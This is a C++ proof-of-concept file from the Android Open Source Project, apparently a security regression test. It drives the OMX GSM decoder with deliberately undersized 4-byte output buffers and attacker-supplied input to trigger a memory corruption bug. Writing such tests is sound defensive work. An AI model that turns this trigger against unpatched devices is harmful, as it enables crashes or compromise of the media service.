• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /**
2  * Copyright (C) 2020 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include "../includes/common.h"
18 #include <stdlib.h>
19 
20 // This PoC is only for 32-bit builds
21 #if _32_BIT
22 #include "../includes/omxUtils.h"
23 #include "hidlmemory/mapping.h"
24 #include <fstream>
25 
26 #define FILE_SIZE UINT16_MAX + 1
27 #define INPUT_BUFFER_SIZE 16380
28 #define NUMBER_OF_BUFFERS 4
29 #define VULNERABLE_SIZE 4
30 #define SLEEP_TIME_IN_SECONDS 1
31 #define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
32 
33 extern int numCallbackEmptyBufferDone;
34 sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
35 
allocateHidlPortBuffers(OMX_U32 portIndex,Vector<Buffer> * buffers,int BufferSize)36 int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
37                             int BufferSize) {
38   buffers->clear();
39   OMX_PARAM_PORTDEFINITIONTYPE def;
40   int err = omxUtilsGetParameter(portIndex, &def);
41   omxExitOnError(err);
42   for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
43     Buffer buffer;
44     buffer.mFlags = 0;
45     bool success;
46     auto transStatus = mAllocator->allocate(
47         BufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
48           success = s;
49           buffer.mHidlMemory = m;
50         });
51     omxExitOnError(!transStatus.isOk());
52     omxExitOnError(!success);
53     buffers->push(buffer);
54   }
55   return OK;
56 }
57 #endif /* _32_BIT */
58 
main(int argc,char * argv[])59 int main(int argc, char *argv[]) {
60   (void)argc;
61   (void)argv;
62 
63 // This PoC is only for 32-bit builds
64 #if _32_BIT
65   if (argc != 2) {
66     return EXIT_FAILURE;
67   }
68   std::ifstream file(argv[1], std::ifstream::binary);
69   long size = FILE_SIZE;
70   uint8_t *buffer = new uint8_t[size];
71   if (!buffer) {
72     file.close();
73     return EXIT_FAILURE;
74   }
75   file.read((char *)buffer, size);
76 
77   /* Initialize OMX for the specified codec                                 */
78   status_t ret = omxUtilsInit((char *)"OMX.google.gsm.decoder");
79   omxExitOnError(ret);
80 
81   /* Set OMX input port parameters                                          */
82   OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
83       sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
84   if (!params) {
85     file.close();
86     delete[] buffer;
87     return EXIT_FAILURE;
88   }
89   params->nPortIndex = OMX_UTILS_IP_PORT;
90   params->nBufferSize = INPUT_BUFFER_SIZE;
91   params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
92   omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
93   memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
94   omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
95 
96   /* Prepare input port buffers                                             */
97   int inMemSize = params->nBufferCountActual * params->nBufferSize;
98   int inBufferCnt = params->nBufferCountActual;
99   int inBufferSize = inMemSize / inBufferCnt;
100   IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
101 
102   /* Set OMX output port parameters                                          */
103   omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
104   params->nPortIndex = OMX_UTILS_OP_PORT;
105   params->nBufferSize = VULNERABLE_SIZE;
106   params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
107   omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
108   memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
109   omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
110 
111   /* Prepare output port buffers                                            */
112   int outBufferCnt = params->nBufferCountActual;
113   int outBufferSize = VULNERABLE_SIZE;
114   IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
115 
116   Vector<Buffer> inputBuffers;
117   Vector<Buffer> outputBuffers;
118   /* Register input buffers with OMX component                              */
119   allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
120   for (int i = 0; i < inBufferCnt; ++i) {
121     inBufferId[i] = inputBuffers[i].mID;
122     sp<android::hidl::memory::V1_0::IMemory> mem =
123         mapMemory(inputBuffers[i].mHidlMemory);
124     memcpy((void *)mem->getPointer(), (void *)(buffer + INPUT_BUFFER_SIZE * i),
125            INPUT_BUFFER_SIZE);
126     omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
127                       &inBufferId[i]);
128   }
129 
130   /* Register output buffers with OMX component                             */
131   allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
132   for (int i = 0; i < outBufferCnt; ++i) {
133     outBufferId[i] = outputBuffers[i].mID;
134     omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
135                       &outBufferId[i]);
136   }
137 
138   /* Do OMX State change to Idle                                            */
139   omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
140   /* Do OMX State change to Executing                                       */
141   omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
142   for (int i = 0; i < inBufferCnt; ++i) {
143     OMXBuffer omxBuf(0, inBufferSize);
144     omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
145   }
146   for (int i = 0; i < outBufferCnt; ++i) {
147     OMXBuffer omxBuf(0, outBufferSize);
148     omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
149   }
150   /* Do OMX State change to Idle                                            */
151   omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
152   time_t currentTime = time(NULL);
153   time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
154   while (currentTime < endTime) {
155     sleep(SLEEP_TIME_IN_SECONDS);
156     if (numCallbackEmptyBufferDone == inBufferCnt) {
157       break;
158     }
159     currentTime = time(NULL);
160   }
161   if (numCallbackEmptyBufferDone != inBufferCnt) {
162     free(params);
163     file.close();
164     delete[] buffer;
165     return EXIT_FAILURE;
166   }
167   /* Free input and output buffers                                          */
168   for (int i = 0; i < inBufferCnt; ++i) {
169     omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
170   }
171   for (int i = 0; i < outBufferCnt; ++i) {
172     omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
173   }
174 
175   /* Free OMX resources                                                     */
176   omxUtilsFreeNode();
177   free(params);
178   file.close();
179   delete[] buffer;
180 #endif /* _32_BIT */
181 
182   return EXIT_SUCCESS;
183 }
184